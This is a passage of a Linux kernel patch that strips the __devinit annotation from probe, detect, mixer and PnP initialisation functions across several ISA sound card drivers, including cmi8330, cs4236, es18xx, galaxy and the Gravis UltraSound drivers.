+static int snd_card_azt2320_enable_wss(unsigned long port)
 {
 	int error;
 
@@ -174,7 +174,7 @@ static int __devinit snd_card_azt2320_enable_wss(unsigned long port)
 	return 0;
 }
 
-static int __devinit snd_card_azt2320_probe(int dev,
+static int snd_card_azt2320_probe(int dev,
 					    struct pnp_card_link *pcard,
 					    const struct pnp_card_device_id *pid)
 {
@@ -266,7 +266,7 @@ static int __devinit snd_card_azt2320_probe(int dev,
 
 static unsigned int __devinitdata azt2320_devices;
 
-static int __devinit snd_azt2320_pnp_detect(struct pnp_card_link *card,
+static int snd_azt2320_pnp_detect(struct pnp_card_link *card,
 					    const struct pnp_card_device_id *id)
 {
 	static int dev;
diff --git a/sound/isa/cmi8328.c b/sound/isa/cmi8328.c
index 55fabcf..6dfead9 100644
--- a/sound/isa/cmi8328.c
+++ b/sound/isa/cmi8328.c
@@ -140,7 +140,7 @@ static void snd_cmi8328_cfg_restore(u16 port, u8 cfg[])
 	snd_cmi8328_cfg_write(port, CFG3, cfg[2]);
 }
 
-static int __devinit snd_cmi8328_mixer(struct snd_wss *chip)
+static int snd_cmi8328_mixer(struct snd_wss *chip)
 {
 	struct snd_card *card;
 	struct snd_ctl_elem_id id1, id2;
@@ -212,7 +212,7 @@ int array_find_l(long array[], long item)
 	return -1;
 }
 
-static int __devinit snd_cmi8328_probe(struct device *pdev, unsigned int ndev)
+static int snd_cmi8328_probe(struct device *pdev, unsigned int ndev)
 {
 	struct snd_card *card;
 	struct snd_opl3 *opl3;
diff --git a/sound/isa/cmi8330.c b/sound/isa/cmi8330.c
index ee534e1..4c6e4eb 100644
--- a/sound/isa/cmi8330.c
+++ b/sound/isa/cmi8330.c
@@ -281,7 +281,7 @@ static unsigned char cmi8330_sb_init_values[][2] __devinitdata = {
 };
 
 
-static int __devinit cmi8330_add_sb_mixers(struct snd_sb *chip)
+static int cmi8330_add_sb_mixers(struct snd_sb *chip)
 {
 	int idx, err;
 	unsigned long flags;
@@ -306,7 +306,7 @@ static int __devinit cmi8330_add_sb_mixers(struct snd_sb *chip)
 }
 #endif
 
-static int __devinit snd_cmi8330_mixer(struct snd_card *card, struct snd_cmi8330 *acard)
+static int snd_cmi8330_mixer(struct snd_card *card, struct snd_cmi8330 *acard)
 {
 	unsigned int idx;
 	int err;
@@ -329,7 +329,7 @@ static int __devinit snd_cmi8330_mixer(struct snd_card *card, struct snd_cmi8330
 }
 
 #ifdef CONFIG_PNP
-static int __devinit snd_cmi8330_pnp(int dev, struct snd_cmi8330 *acard,
+static int snd_cmi8330_pnp(int dev, struct snd_cmi8330 *acard,
 				     struct pnp_card_link *card,
 				     const struct pnp_card_device_id *id)
 {
@@ -437,7 +437,7 @@ static int snd_cmi8330_capture_open(struct snd_pcm_substream *substream)
 	return chip->streams[SNDRV_PCM_STREAM_CAPTURE].open(substream);
 }
 
-static int __devinit snd_cmi8330_pcm(struct snd_card *card, struct snd_cmi8330 *chip)
+static int snd_cmi8330_pcm(struct snd_card *card, struct snd_cmi8330 *chip)
 {
 	struct snd_pcm *pcm;
 	const struct snd_pcm_ops *ops;
@@ -532,7 +532,7 @@ static int snd_cmi8330_card_new(int dev, struct snd_card **cardp)
 	return 0;
 }
 
-static int __devinit snd_cmi8330_probe(struct snd_card *card, int dev)
+static int snd_cmi8330_probe(struct snd_card *card, int dev)
 {
 	struct snd_cmi8330 *acard;
 	int i, err;
@@ -613,7 +613,7 @@ static int __devinit snd_cmi8330_probe(struct snd_card *card, int dev)
 	return snd_card_register(card);
 }
 
-static int __devinit snd_cmi8330_isa_match(struct device *pdev,
+static int snd_cmi8330_isa_match(struct device *pdev,
 					   unsigned int dev)
 {
 	if (!enable[dev] || is_isapnp_selected(dev))
@@ -629,7 +629,7 @@ static int __devinit snd_cmi8330_isa_match(struct device *pdev,
 	return 1;
 }
 
-static int __devinit snd_cmi8330_isa_probe(struct device *pdev,
+static int snd_cmi8330_isa_probe(struct device *pdev,
 					   unsigned int dev)
 {
 	struct snd_card *card;
@@ -685,7 +685,7 @@ static struct isa_driver snd_cmi8330_driver = {
 
 
 #ifdef CONFIG_PNP
-static int __devinit snd_cmi8330_pnp_detect(struct pnp_card_link *pcard,
+static int snd_cmi8330_pnp_detect(struct pnp_card_link *pcard,
 					    const struct pnp_card_device_id *pid)
 {
 	static int dev;
diff --git a/sound/isa/cs423x/cs4231.c b/sound/isa/cs423x/cs4231.c
index 0c67c37..ece5d8f 100644
--- a/sound/isa/cs423x/cs4231.c
+++ b/sound/isa/cs423x/cs4231.c
@@ -68,7 +68,7 @@ MODULE_PARM_DESC(dma1, "DMA1 # for " CRD_NAME " driver.");
 module_param_array(dma2, int, NULL, 0444);
 MODULE_PARM_DESC(dma2, "DMA2 # for " CRD_NAME " driver.");
 
-static int __devinit snd_cs4231_match(struct device *dev, unsigned int n)
+static int snd_cs4231_match(struct device *dev, unsigned int n)
 {
 	if (!enable[n])
 		return 0;
@@ -88,7 +88,7 @@ static int __devinit snd_cs4231_match(struct device *dev, unsigned int n)
 	return 1;
 }
 
-static int __devinit snd_cs4231_probe(struct device *dev, unsigned int n)
+static int snd_cs4231_probe(struct device *dev, unsigned int n)
 {
 	struct snd_card *card;
 	struct snd_wss *chip;
diff --git a/sound/isa/cs423x/cs4236.c b/sound/isa/cs423x/cs4236.c
index f5fba07..752ccba 100644
--- a/sound/isa/cs423x/cs4236.c
+++ b/sound/isa/cs423x/cs4236.c
@@ -251,7 +251,7 @@ static struct pnp_card_device_id snd_cs423x_pnpids[] = {
 MODULE_DEVICE_TABLE(pnp_card, snd_cs423x_pnpids);
 
 /* WSS initialization */
-static int __devinit snd_cs423x_pnp_init_wss(int dev, struct pnp_dev *pdev)
+static int snd_cs423x_pnp_init_wss(int dev, struct pnp_dev *pdev)
 {
 	if (pnp_activate_dev(pdev) < 0) {
 		printk(KERN_ERR IDENT " WSS PnP configure failed for WSS (out of resources?)\n");
@@ -272,7 +272,7 @@ static int __devinit snd_cs423x_pnp_init_wss(int dev, struct pnp_dev *pdev)
 }
 
 /* CTRL initialization */
-static int __devinit snd_cs423x_pnp_init_ctrl(int dev, struct pnp_dev *pdev)
+static int snd_cs423x_pnp_init_ctrl(int dev, struct pnp_dev *pdev)
 {
 	if (pnp_activate_dev(pdev) < 0) {
 		printk(KERN_ERR IDENT " CTRL PnP configure failed for WSS (out of resources?)\n");
@@ -284,7 +284,7 @@ static int __devinit snd_cs423x_pnp_init_ctrl(int dev, struct pnp_dev *pdev)
 }
 
 /* MPU initialization */
-static int __devinit snd_cs423x_pnp_init_mpu(int dev, struct pnp_dev *pdev)
+static int snd_cs423x_pnp_init_mpu(int dev, struct pnp_dev *pdev)
 {
 	if (pnp_activate_dev(pdev) < 0) {
 		printk(KERN_ERR IDENT " MPU401 PnP configure failed for WSS (out of resources?)\n");
@@ -303,7 +303,7 @@ static int __devinit snd_cs423x_pnp_init_mpu(int dev, struct pnp_dev *pdev)
 	return 0;
 }
 
-static int __devinit snd_card_cs423x_pnp(int dev, struct snd_card_cs4236 *acard,
+static int snd_card_cs423x_pnp(int dev, struct snd_card_cs4236 *acard,
 					 struct pnp_dev *pdev,
 					 struct pnp_dev *cdev)
 {
@@ -317,7 +317,7 @@ static int __devinit snd_card_cs423x_pnp(int dev, struct snd_card_cs4236 *acard,
 	return 0;
 }
 
-static int __devinit snd_card_cs423x_pnpc(int dev, struct snd_card_cs4236 *acard,
+static int snd_card_cs423x_pnpc(int dev, struct snd_card_cs4236 *acard,
 					  struct pnp_card_link *card,
 					  const struct pnp_card_device_id *id)
 {
@@ -378,7 +378,7 @@ static int snd_cs423x_card_new(int dev, struct snd_card **cardp)
 	return 0;
 }
 
-static int __devinit snd_cs423x_probe(struct snd_card *card, int dev)
+static int snd_cs423x_probe(struct snd_card *card, int dev)
 {
 	struct snd_card_cs4236 *acard;
 	struct snd_pcm *pcm;
@@ -456,7 +456,7 @@ static int __devinit snd_cs423x_probe(struct snd_card *card, int dev)
 	return snd_card_register(card);
 }
 
-static int __devinit snd_cs423x_isa_match(struct device *pdev,
+static int snd_cs423x_isa_match(struct device *pdev,
 					  unsigned int dev)
 {
 	if (!enable[dev] || is_isapnp_selected(dev))
@@ -481,7 +481,7 @@ static int __devinit snd_cs423x_isa_match(struct device *pdev,
 	return 1;
 }
 
-static int __devinit snd_cs423x_isa_probe(struct device *pdev,
+static int snd_cs423x_isa_probe(struct device *pdev,
 					  unsigned int dev)
 {
 	struct snd_card *card;
@@ -552,7 +552,7 @@ static struct isa_driver cs423x_isa_driver = {
 
 
 #ifdef CONFIG_PNP
-static int __devinit snd_cs423x_pnpbios_detect(struct pnp_dev *pdev,
+static int snd_cs423x_pnpbios_detect(struct pnp_dev *pdev,
 					       const struct pnp_device_id *id)
 {
 	static int dev;
@@ -626,7 +626,7 @@ static struct pnp_driver cs423x_pnp_driver = {
 #endif
 };
 
-static int __devinit snd_cs423x_pnpc_detect(struct pnp_card_link *pcard,
+static int snd_cs423x_pnpc_detect(struct pnp_card_link *pcard,
 					    const struct pnp_card_device_id *pid)
 {
 	static int dev;
diff --git a/sound/isa/es1688/es1688.c b/sound/isa/es1688/es1688.c
index ffad710..f62803b 100644
--- a/sound/isa/es1688/es1688.c
+++ b/sound/isa/es1688/es1688.c
@@ -90,12 +90,12 @@ MODULE_PARM_DESC(dma8, "8-bit DMA # for " CRD_NAME " driver.");
 #define is_isapnp_selected(dev)		0
 #endif
 
-static int __devinit snd_es1688_match(struct device *dev, unsigned int n)
+static int snd_es1688_match(struct device *dev, unsigned int n)
 {
 	return enable[n] && !is_isapnp_selected(n);
 }
 
-static int __devinit snd_es1688_legacy_create(struct snd_card *card,
+static int snd_es1688_legacy_create(struct snd_card *card,
 					struct device *dev, unsigned int n)
 {
 	struct snd_es1688 *chip = card->private_data;
@@ -134,7 +134,7 @@ static int __devinit snd_es1688_legacy_create(struct snd_card *card,
 	return error;
 }
 
-static int __devinit snd_es1688_probe(struct snd_card *card, unsigned int n)
+static int snd_es1688_probe(struct snd_card *card, unsigned int n)
 {
 	struct snd_es1688 *chip = card->private_data;
 	struct snd_opl3 *opl3;
@@ -182,7 +182,7 @@ static int __devinit snd_es1688_probe(struct snd_card *card, unsigned int n)
 	return snd_card_register(card);
 }
 
-static int __devinit snd_es1688_isa_probe(struct device *dev, unsigned int n)
+static int snd_es1688_isa_probe(struct device *dev, unsigned int n)
 {
 	struct snd_card *card;
 	int error;
@@ -233,7 +233,7 @@ static struct isa_driver snd_es1688_driver = {
 static int snd_es968_pnp_is_probed;
 
 #ifdef CONFIG_PNP
-static int __devinit snd_card_es968_pnp(struct snd_card *card, unsigned int n,
+static int snd_card_es968_pnp(struct snd_card *card, unsigned int n,
 					struct pnp_card_link *pcard,
 					const struct pnp_card_device_id *pid)
 {
@@ -258,7 +258,7 @@ static int __devinit snd_card_es968_pnp(struct snd_card *card, unsigned int n,
 				 mpu_irq[n], dma8[n], ES1688_HW_AUTO);
 }
 
-static int __devinit snd_es968_pnp_detect(struct pnp_card_link *pcard,
+static int snd_es968_pnp_detect(struct pnp_card_link *pcard,
 					  const struct pnp_card_device_id *pid)
 {
 	struct snd_card *card;
diff --git a/sound/isa/es18xx.c b/sound/isa/es18xx.c
index b491185..8fe5dc1 100644
--- a/sound/isa/es18xx.c
+++ b/sound/isa/es18xx.c
@@ -348,7 +348,7 @@ static inline int snd_es18xx_mixer_writable(struct snd_es18xx *chip, unsigned ch
 }
 
 
-static int __devinit snd_es18xx_reset(struct snd_es18xx *chip)
+static int snd_es18xx_reset(struct snd_es18xx *chip)
 {
 	int i;
         outb(0x03, chip->port + 0x06);
@@ -1363,7 +1363,7 @@ static struct snd_kcontrol_new snd_es18xx_hw_volume_controls[] = {
 ES18XX_SINGLE("Hardware Master Volume Split", 0, 0x64, 7, 1, 0),
 };
 
-static int __devinit snd_es18xx_config_read(struct snd_es18xx *chip, unsigned char reg)
+static int snd_es18xx_config_read(struct snd_es18xx *chip, unsigned char reg)
 {
 	int data;
 
@@ -1372,7 +1372,7 @@ static int __devinit snd_es18xx_config_read(struct snd_es18xx *chip, unsigned ch
 	return data;
 }
 
-static void __devinit snd_es18xx_config_write(struct snd_es18xx *chip, 
+static void snd_es18xx_config_write(struct snd_es18xx *chip,
 					      unsigned char reg, unsigned char data)
 {
 	/* No need for spinlocks, this function is used only in
@@ -1384,7 +1384,7 @@ static void __devinit snd_es18xx_config_write(struct snd_es18xx *chip,
 #endif
 }
 
-static int __devinit snd_es18xx_initialize(struct snd_es18xx *chip,
+static int snd_es18xx_initialize(struct snd_es18xx *chip,
 					   unsigned long mpu_port,
 					   unsigned long fm_port)
 {
@@ -1549,7 +1549,7 @@ static int __devinit snd_es18xx_initialize(struct snd_es18xx *chip,
         return 0;
 }
 
-static int __devinit snd_es18xx_identify(struct snd_es18xx *chip)
+static int snd_es18xx_identify(struct snd_es18xx *chip)
 {
 	int hi,lo;
 
@@ -1618,7 +1618,7 @@ static int __devinit snd_es18xx_identify(struct snd_es18xx *chip)
 	return 0;
 }
 
-static int __devinit snd_es18xx_probe(struct snd_es18xx *chip,
+static int snd_es18xx_probe(struct snd_es18xx *chip,
 					unsigned long mpu_port,
 					unsigned long fm_port)
 {
@@ -1680,7 +1680,7 @@ static struct snd_pcm_ops snd_es18xx_capture_ops = {
 	.pointer =	snd_es18xx_capture_pointer,
 };
 
-static int __devinit snd_es18xx_pcm(struct snd_card *card, int device,
+static int snd_es18xx_pcm(struct snd_card *card, int device,
 				    struct snd_pcm **rpcm)
 {
 	struct snd_es18xx *chip = card->private_data;
@@ -1777,7 +1777,7 @@ static int snd_es18xx_dev_free(struct snd_device *device)
 	return snd_es18xx_free(device->card);
 }
 
-static int __devinit snd_es18xx_new_device(struct snd_card *card,
+static int snd_es18xx_new_device(struct snd_card *card,
 					   unsigned long port,
 					   unsigned long mpu_port,
 					   unsigned long fm_port,
@@ -1839,7 +1839,7 @@ static int __devinit snd_es18xx_new_device(struct snd_card *card,
         return 0;
 }
 
-static int __devinit snd_es18xx_mixer(struct snd_card *card)
+static int snd_es18xx_mixer(struct snd_card *card)
 {
 	struct snd_es18xx *chip = card->private_data;
 	int err;
@@ -2016,7 +2016,7 @@ static struct pnp_device_id snd_audiodrive_pnpbiosids[] = {
 MODULE_DEVICE_TABLE(pnp, snd_audiodrive_pnpbiosids);
 
 /* PnP main device initialization */
-static int __devinit snd_audiodrive_pnp_init_main(int dev, struct pnp_dev *pdev)
+static int snd_audiodrive_pnp_init_main(int dev, struct pnp_dev *pdev)
 {
 	if (pnp_activate_dev(pdev) < 0) {
 		snd_printk(KERN_ERR PFX "PnP configure failure (out of resources?)\n");
@@ -2043,7 +2043,7 @@ static int __devinit snd_audiodrive_pnp_init_main(int dev, struct pnp_dev *pdev)
 	return 0;
 }
 
-static int __devinit snd_audiodrive_pnp(int dev, struct snd_es18xx *chip,
+static int snd_audiodrive_pnp(int dev, struct snd_es18xx *chip,
 					struct pnp_dev *pdev)
 {
 	chip->dev = pdev;
@@ -2073,7 +2073,7 @@ static struct pnp_card_device_id snd_audiodrive_pnpids[] = {
 
 MODULE_DEVICE_TABLE(pnp_card, snd_audiodrive_pnpids);
 
-static int __devinit snd_audiodrive_pnpc(int dev, struct snd_es18xx *chip,
+static int snd_audiodrive_pnpc(int dev, struct snd_es18xx *chip,
 					struct pnp_card_link *card,
 					const struct pnp_card_device_id *id)
 {
@@ -2111,7 +2111,7 @@ static int snd_es18xx_card_new(int dev, struct snd_card **cardp)
 			       sizeof(struct snd_es18xx), cardp);
 }
 
-static int __devinit snd_audiodrive_probe(struct snd_card *card, int dev)
+static int snd_audiodrive_probe(struct snd_card *card, int dev)
 {
 	struct snd_es18xx *chip = card->private_data;
 	struct snd_opl3 *opl3;
@@ -2169,12 +2169,12 @@ static int __devinit snd_audiodrive_probe(struct snd_card *card, int dev)
 	return snd_card_register(card);
 }
 
-static int __devinit snd_es18xx_isa_match(struct device *pdev, unsigned int dev)
+static int snd_es18xx_isa_match(struct device *pdev, unsigned int dev)
 {
 	return enable[dev] && !is_isapnp_selected(dev);
 }
 
-static int __devinit snd_es18xx_isa_probe1(int dev, struct device *devptr)
+static int snd_es18xx_isa_probe1(int dev, struct device *devptr)
 {
 	struct snd_card *card;
 	int err;
@@ -2191,7 +2191,7 @@ static int __devinit snd_es18xx_isa_probe1(int dev, struct device *devptr)
 	return 0;
 }
 
-static int __devinit snd_es18xx_isa_probe(struct device *pdev, unsigned int dev)
+static int snd_es18xx_isa_probe(struct device *pdev, unsigned int dev)
 {
 	int err;
 	static int possible_irqs[] = {5, 9, 10, 7, 11, 12, -1};
@@ -2269,7 +2269,7 @@ static struct isa_driver snd_es18xx_isa_driver = {
 
 
 #ifdef CONFIG_PNP
-static int __devinit snd_audiodrive_pnp_detect(struct pnp_dev *pdev,
+static int snd_audiodrive_pnp_detect(struct pnp_dev *pdev,
 					    const struct pnp_device_id *id)
 {
 	static int dev;
@@ -2330,7 +2330,7 @@ static struct pnp_driver es18xx_pnp_driver = {
 #endif
 };
 
-static int __devinit snd_audiodrive_pnpc_detect(struct pnp_card_link *pcard,
+static int snd_audiodrive_pnpc_detect(struct pnp_card_link *pcard,
 					       const struct pnp_card_device_id *pid)
 {
 	static int dev;
diff --git a/sound/isa/galaxy/galaxy.c b/sound/isa/galaxy/galaxy.c
index 1858535..6955e78 100644
--- a/sound/isa/galaxy/galaxy.c
+++ b/sound/isa/galaxy/galaxy.c
@@ -84,7 +84,7 @@ MODULE_PARM_DESC(dma2, "Capture DMA # for " CRD_NAME " driver.");
 
 #define DSP_COMMAND_GET_VERSION	0xe1
 
-static int __devinit dsp_get_byte(void __iomem *port, u8 *val)
+static int dsp_get_byte(void __iomem *port, u8 *val)
 {
 	int loops = 1000;
 
@@ -97,7 +97,7 @@ static int __devinit dsp_get_byte(void __iomem *port, u8 *val)
 	return 0;
 }
 
-static int __devinit dsp_reset(void __iomem *port)
+static int dsp_reset(void __iomem *port)
 {
 	u8 val;
 
@@ -111,7 +111,7 @@ static int __devinit dsp_reset(void __iomem *port)
 	return 0;
 }
 
-static int __devinit dsp_command(void __iomem *port, u8 cmd)
+static int dsp_command(void __iomem *port, u8 cmd)
 {
 	int loops = 1000;
 
@@ -124,7 +124,7 @@ static int __devinit dsp_command(void __iomem *port, u8 cmd)
 	return 0;
 }
 
-static int __devinit dsp_get_version(void __iomem *port, u8 *major, u8 *minor)
+static int dsp_get_version(void __iomem *port, u8 *major, u8 *minor)
 {
 	int err;
 
@@ -161,7 +161,7 @@ static int __devinit dsp_get_version(void __iomem *port, u8 *major, u8 *minor)
 
 #define WSS_SIGNATURE		4
 
-static int __devinit wss_detect(void __iomem *wss_port)
+static int wss_detect(void __iomem *wss_port)
 {
 	if ((ioread8(wss_port + WSS_PORT_SIGNATURE) & 0x3f) != WSS_SIGNATURE)
 		return -ENODEV;
@@ -204,7 +204,7 @@ struct snd_galaxy {
 static u32 config[SNDRV_CARDS];
 static u8 wss_config[SNDRV_CARDS];
 
-static int __devinit snd_galaxy_match(struct device *dev, unsigned int n)
+static int snd_galaxy_match(struct device *dev, unsigned int n)
 {
 	if (!enable[n])
 		return 0;
@@ -379,7 +379,7 @@ fm:
 	return 1;
 }
 
-static int __devinit galaxy_init(struct snd_galaxy *galaxy, u8 *type)
+static int galaxy_init(struct snd_galaxy *galaxy, u8 *type)
 {
 	u8 major;
 	u8 minor;
@@ -411,7 +411,7 @@ static int __devinit galaxy_init(struct snd_galaxy *galaxy, u8 *type)
 	return 0;
 }
 
-static int __devinit galaxy_set_mode(struct snd_galaxy *galaxy, u8 mode)
+static int galaxy_set_mode(struct snd_galaxy *galaxy, u8 mode)
 {
 	int err;
 
@@ -449,7 +449,7 @@ static void galaxy_set_config(struct snd_galaxy *galaxy, u32 config)
 	msleep(10);
 }
 
-static void __devinit galaxy_config(struct snd_galaxy *galaxy, u32 config)
+static void galaxy_config(struct snd_galaxy *galaxy, u32 config)
 {
 	int i;
 
@@ -461,7 +461,7 @@ static void __devinit galaxy_config(struct snd_galaxy *galaxy, u32 config)
 	galaxy_set_config(galaxy, config);
 }
 
-static int __devinit galaxy_wss_config(struct snd_galaxy *galaxy, u8 wss_config)
+static int galaxy_wss_config(struct snd_galaxy *galaxy, u8 wss_config)
 {
 	int err;
 
@@ -498,7 +498,7 @@ static void snd_galaxy_free(struct snd_card *card)
 	}
 }
 
-static int __devinit snd_galaxy_probe(struct device *dev, unsigned int n)
+static int snd_galaxy_probe(struct device *dev, unsigned int n)
 {
 	struct snd_galaxy *galaxy;
 	struct snd_wss *chip;
diff --git a/sound/isa/gus/gusclassic.c b/sound/isa/gus/gusclassic.c
index ec4bd7e..4a4c856 100644
--- a/sound/isa/gus/gusclassic.c
+++ b/sound/isa/gus/gusclassic.c
@@ -73,12 +73,12 @@ MODULE_PARM_DESC(channels, "GF1 channels for " CRD_NAME " driver.");
 module_param_array(pcm_channels, int, NULL, 0444);
 MODULE_PARM_DESC(pcm_channels, "Reserved PCM channels for " CRD_NAME " driver.");
 
-static int __devinit snd_gusclassic_match(struct device *dev, unsigned int n)
+static int snd_gusclassic_match(struct device *dev, unsigned int n)
 {
 	return enable[n];
 }
 
-static int __devinit snd_gusclassic_create(struct snd_card *card,
+static int snd_gusclassic_create(struct snd_card *card,
 		struct device *dev, unsigned int n, struct snd_gus_card **rgus)
 {
 	static long possible_ports[] = {0x220, 0x230, 0x240, 0x250, 0x260};
@@ -123,7 +123,7 @@ static int __devinit snd_gusclassic_create(struct snd_card *card,
 	return error;
 }
 
-static int __devinit snd_gusclassic_detect(struct snd_gus_card *gus)
+static int snd_gusclassic_detect(struct snd_gus_card *gus)
 {
 	unsigned char d;
 
@@ -142,7 +142,7 @@ static int __devinit snd_gusclassic_detect(struct snd_gus_card *gus)
 	return 0;
 }
 
-static int __devinit snd_gusclassic_probe(struct device *dev, unsigned int n)
+static int snd_gusclassic_probe(struct device *dev, unsigned int n)
 {
 	struct snd_card *card;
 	struct snd_gus_card *gus;
diff --git a/sound/isa/gus/gusextreme.c b/sound/isa/gus/gusextreme.c
index 3d76215..e8ee416 100644
--- a/sound/isa/gus/gusextreme.c
+++ b/sound/isa/gus/gusextreme.c
@@ -89,12 +89,12 @@ MODULE_PARM_DESC(channels, "GF1 channels for " CRD_NAME " driver.");
 module_param_array(pcm_channels, int, NULL, 0444);
 MODULE_PARM_DESC(pcm_channels, "Reserved PCM channels for " CRD_NAME " driver.");
 
-static int __devinit snd_gusextreme_match(struct device *dev, unsigned int n)
+static int snd_gusextreme_match(struct device *dev, unsigned int n)
 {
 	return enable[n];
 }
 
-static int __devinit snd_gusextreme_es1688_create(struct snd_card *card,
+static int snd_gusextreme_es1688_create(struct snd_card *card,
 		struct snd_es1688 *chip, struct device *dev, unsigned int n)
 {
 	static long possible_ports[] = {0x220, 0x240, 0x260};
@@ -132,7 +132,7 @@ static int __devinit snd_gusextreme_es1688_create(struct snd_card *card,
 	return error;
 }
 
-static int __devinit snd_gusextreme_gus_card_create(struct snd_card *card,
+static int snd_gusextreme_gus_card_create(struct snd_card *card,
 		struct device *dev, unsigned int n, struct snd_gus_card **rgus)
 {
 	static int possible_irqs[] = {11, 12, 15, 9, 5, 7, 3, -1};
@@ -156,7 +156,7 @@ static int __devinit snd_gusextreme_gus_card_create(struct snd_card *card,
 			0, channels[n], pcm_channels[n], 0, rgus);
 }
 
-static int __devinit snd_gusextreme_detect(struct snd_gus_card *gus,
+static int snd_gusextreme_detect(struct snd_gus_card *gus,
 	struct snd_es1688 *es1688)
 {
 	unsigned long flags;
@@ -206,7 +206,7 @@ static int __devinit snd_gusextreme_detect(struct snd_gus_card *gus,
 	return 0;
 }
 
-static int __devinit snd_gusextreme_mixer(struct snd_card *card)
+static int snd_gusextreme_mixer(struct snd_card *card)
 {
 	struct snd_ctl_elem_id id1, id2;
 	int error;
@@ -232,7 +232,7 @@ static int __devinit snd_gusextreme_mixer(struct snd_card *card)
 	return 0;
 }
 
-static int __devinit snd_gusextreme_probe(struct device *dev, unsigned int n)
+static int snd_gusextreme_probe(struct device *dev, unsigned int n)
 {
 	struct snd_card *card;
 	struct snd_gus_card *gus;
diff --git a/sound/isa/gus/gusmax.c b/sound/isa/gus/gusmax.c
index fefd5ae..6e297c8 100644
--- a/sound/isa/gus/gusmax.c
+++ b/sound/isa/gus/gusmax.c
@@ -82,7 +82,7 @@ struct snd_gusmax {
 
 #define PFX	"gusmax: "
 
-static int __devinit snd_gusmax_detect(struct snd_gus_card * gus)
+static int snd_gusmax_detect(struct snd_gus_card * gus)
 {
 	unsigned char d;
 
@@ -124,7 +124,7 @@ static irqreturn_t snd_gusmax_interrupt(int irq, void *dev_id)
 	return IRQ_RETVAL(handled);
 }
 
-static void __devinit snd_gusmax_init(int dev, struct snd_card *card,
+static void snd_gusmax_init(int dev, struct snd_card *card,
 				      struct snd_gus_card * gus)
 {
 	gus->equal_irq = 1;
@@ -140,7 +140,7 @@ static void __devinit snd_gusmax_init(int dev, struct snd_card *card,
 	outb(gus->max_cntrl_val, GUSP(gus, MAXCNTRLPORT));
 }
 
-static int __devinit snd_gusmax_mixer(struct snd_wss *chip)
+static int snd_gusmax_mixer(struct snd_wss *chip)
 {
 	struct snd_card *card = chip->card;
 	struct snd_ctl_elem_id id1, id2;
@@ -199,12 +199,12 @@ static void snd_gusmax_free(struct snd_card *card)
 		free_irq(maxcard->irq, (void *)maxcard);
 }
 
-static int __devinit snd_gusmax_match(struct device *pdev, unsigned int dev)
+static int snd_gusmax_match(struct device *pdev, unsigned int dev)
 {
 	return enable[dev];
 }
 
-static int __devinit snd_gusmax_probe(struct device *pdev, unsigned int dev)
+static int snd_gusmax_probe(struct device *pdev, unsigned int dev)
 {
 	static int possible_irqs[] = {5, 11, 12, 9, 7, 15, 3, -1};
 	static int possible_dmas[] = {5, 6, 7, 1, 3, -1};
diff --git a/sound/isa/gus/interwave.c b/sound/isa/gus/interwave.c
index c61a74c..b5f436a 100644
--- a/sound/isa/gus/interwave.c
+++ b/sound/isa/gus/interwave.c
@@ -207,7 +207,7 @@ static struct snd_i2c_bit_ops snd_interwave_i2c_bit_ops = {
 	.getdata  = snd_interwave_i2c_getdataline,
 };
 
-static int __devinit snd_interwave_detect_stb(struct snd_interwave *iwcard,
+static int snd_interwave_detect_stb(struct snd_interwave *iwcard,
 					      struct snd_gus_card * gus, int dev,
 					      struct snd_i2c_bus **rbus)
 {
@@ -249,7 +249,7 @@ static int __devinit snd_interwave_detect_stb(struct snd_interwave *iwcard,
 }
 #endif
 
-static int __devinit snd_interwave_detect(struct snd_interwave *iwcard,
+static int snd_interwave_detect(struct snd_interwave *iwcard,
 				          struct snd_gus_card * gus,
 				          int dev
 #ifdef SNDRV_STB
@@ -318,7 +318,7 @@ static irqreturn_t snd_interwave_interrupt(int irq, void *dev_id)
 	return IRQ_RETVAL(handled);
 }
 
-static void __devinit snd_interwave_reset(struct snd_gus_card * gus)
+static void snd_interwave_reset(struct snd_gus_card * gus)
 {
 	snd_gf1_write8(gus, SNDRV_GF1_GB_RESET, 0x00);
 	udelay(160);
@@ -326,7 +326,7 @@ static void __devinit snd_interwave_reset(struct snd_gus_card * gus)
 	udelay(160);
 }
 
-static void __devinit snd_interwave_bank_sizes(struct snd_gus_card * gus, int *sizes)
+static void snd_interwave_bank_sizes(struct snd_gus_card * gus, int *sizes)
 {
 	unsigned int idx;
 	unsigned int local;
@@ -377,7 +377,7 @@ struct rom_hdr {
 	/* 511 */ unsigned char csum;
 };
 
-static void __devinit snd_interwave_detect_memory(struct snd_gus_card * gus)
+static void snd_interwave_detect_memory(struct snd_gus_card * gus)
 {
 	static unsigned int lmc[13] =
 	{
@@ -475,7 +475,7 @@ static void __devinit snd_interwave_detect_memory(struct snd_gus_card * gus)
 		snd_interwave_reset(gus);
 }
 
-static void __devinit snd_interwave_init(int dev, struct snd_gus_card * gus)
+static void snd_interwave_init(int dev, struct snd_gus_card * gus)
 {
 	unsigned long flags;
 
@@ -508,7 +508,7 @@ WSS_DOUBLE("Mic Playback Volume", 0,
 		CS4231_LEFT_MIC_INPUT, CS4231_RIGHT_MIC_INPUT, 0, 0, 31, 1)
 };
 
-static int __devinit snd_interwave_mixer(struct snd_wss *chip)
+static int snd_interwave_mixer(struct snd_wss *chip)
 {
 	struct snd_card *card = chip->card;
 	struct snd_ctl_elem_id id1, id2;
@@ -558,7 +558,7 @@ static int __devinit snd_interwave_mixer(struct snd_wss *chip)
 
 #ifdef CONFIG_PNP
 
-static int __devinit snd_interwave_pnp(int dev, struct snd_interwave *iwcard,
+static int snd_interwave_pnp(int dev, struct snd_interwave *iwcard,
 				       struct pnp_card_link *card,
 				       const struct pnp_card_device_id *id)
 {
@@ -644,7 +644,7 @@ static int snd_interwave_card_new(int dev, struct snd_card **cardp)
 	return 0;
 }
 
-static int __devinit snd_interwave_probe(struct snd_card *card, int dev)
+static int snd_interwave_probe(struct snd_card *card, int dev)
 {
 	int xirq, xdma1, xdma2;
 	struct snd_interwave *iwcard = card->private_data;
@@ -775,7 +775,7 @@ static int __devinit snd_interwave_probe(struct snd_card *card, int dev)
 	return 0;
 }
 
-static int __devinit snd_interwave_isa_probe1(int dev, struct device *devptr)
+static int snd_interwave_isa_probe1(int dev, struct device *devptr)
 {
 	struct snd_card *card;
 	int err;
@@ -793,7 +793,7 @@ static int __devinit snd_interwave_isa_probe1(int dev, struct device *devptr)
 	return 0;
 }
 
-static int __devinit snd_interwave_isa_match(struct device *pdev,
+static int snd_interwave_isa_match(struct device *pdev,
 					     unsigned int dev)
 {
 	if (!enable[dev])
@@ -805,7 +805,7 @@ static int __devinit snd_interwave_isa_match(struct device *pdev,
 	return 1;
 }
 
